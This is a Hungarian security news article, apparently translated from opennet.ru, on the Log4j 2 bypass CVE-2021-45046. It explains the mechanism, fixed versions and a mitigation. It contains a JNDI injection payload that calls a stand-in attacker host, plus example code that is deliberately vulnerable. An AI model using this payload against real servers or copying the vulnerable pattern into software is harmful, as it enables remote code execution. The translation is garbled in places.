Egy másik sérülékenységet azonosítottak a JNDI keresések megvalósításában a Log4j 2 könyvtárban (CVE-2021-45046), amely a 2.15-ös kiadásban hozzáadott javítások ellenére jelenik meg, függetlenül attól, hogy a „log4j2.noFormatMsgLookup” beállítást védelemként használják. A probléma főként a Log4j 2 régebbi, „noFormatMsgLookup” jelzővel védett verzióira veszélyes, mivel lehetővé teszi a korábbi sebezhetőségek (Log4Shell, CVE-2021-44228) elleni védelem megkerülését, amely lehetővé teszi a kód futtatását a szerver. A 2.15-ös verzió felhasználói számára a kihasználás az alkalmazás összeomlásának előidézésére korlátozódik a rendelkezésre álló erőforrások kimerülése miatt.
A biztonsági rés csak azokon a rendszereken jelenik meg, amelyek környezeti keresést használnak a naplózáshoz, például ${ctx:loginId}, vagy MDC-sablonokat (Thread Context Map), például %X, %mdc és %MDC. A művelet a JNDI-helyettesítéseket tartalmazó adatok naplóba való kiadásának feltételeinek megteremtésén alapul, ha olyan környezeti lekérdezéseket vagy MDC-sablonokat használ az alkalmazásban, amelyek meghatározzák a napló kimenetének formázására vonatkozó szabályokat.
A LunaSec kutatói megjegyezték, hogy a Log4j 2.15-nél régebbi verzióinál ez a sérülékenység új vektorként használható Log4Shell támadásokhoz, ami kódfuttatáshoz vezethet, ha külső adatokat tartalmazó ThreadContext kifejezéseket használnak a naplókimenetben, függetlenül attól, hogy a A "protect" jelző engedélyezve van. noMsgFormatLookups" vagy a "%m{nolookups}" sablon.
A védelem megkerülése abból fakad, hogy a „${jndi:ldap://attacker.com/a}” közvetlen helyettesítése helyett ezt a kifejezést a naplókimenet formázására vonatkozó szabályokban használt köztes változó értékével helyettesítik. . Például, ha a ${ctx:apiversion} kontextusbeli lekérdezést használjuk a naplóba történő kimenetkor, akkor a támadás végrehajtható a „${jndi:ldap://attacker.com/a}” adat behelyettesítésével a naplóba. az apiversion változóba írt érték. Példa a sebezhető kódra: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-nn ÓÓ:pp:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Az "X-Api-Version" HTTP-fejlécérték átadásra kerül a ThreadContext ThreadContext.put("apiversion"-nak ", apiVersion ); // Naplózáskor a külső apiversion érték a ${ctx:apiversion} helyettesítéssel kerül feldolgozásra logger.info("Kérés érkezett az API verziójára"); return "Helló, világ!"; }
A Log4j 2.15-ös verziójában a biztonsági rés DoS támadások végrehajtására használható, amikor értékeket ad át a ThreadContextnek, ami hurkot eredményez a kimeneti formázási sablon feldolgozásában.
A sérülékenység blokkolására a 2.16-os és 2.12.2-es frissítések jelentek meg. A Log4j 2.16 ágban a 2.15-ös verzióban végrehajtott javításokon és a JNDI LDAP-kérelmek „localhosthoz” való hozzárendelésén kívül a JNDI funkcionalitása alapértelmezés szerint teljesen le van tiltva, és az üzenethelyettesítő sablonok támogatása megszűnt. Biztonsági megoldásként javasolt a JndiLookup osztály eltávolítása az osztályútvonalról (például „zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”). .
A csomagokban található javítások megjelenését nyomon követheti a disztribúciók (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) és a Java platformgyártók (GitHub, Docker, Oracle, vmWare, Broadcom és Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure stb.).
Forrás: opennet.ru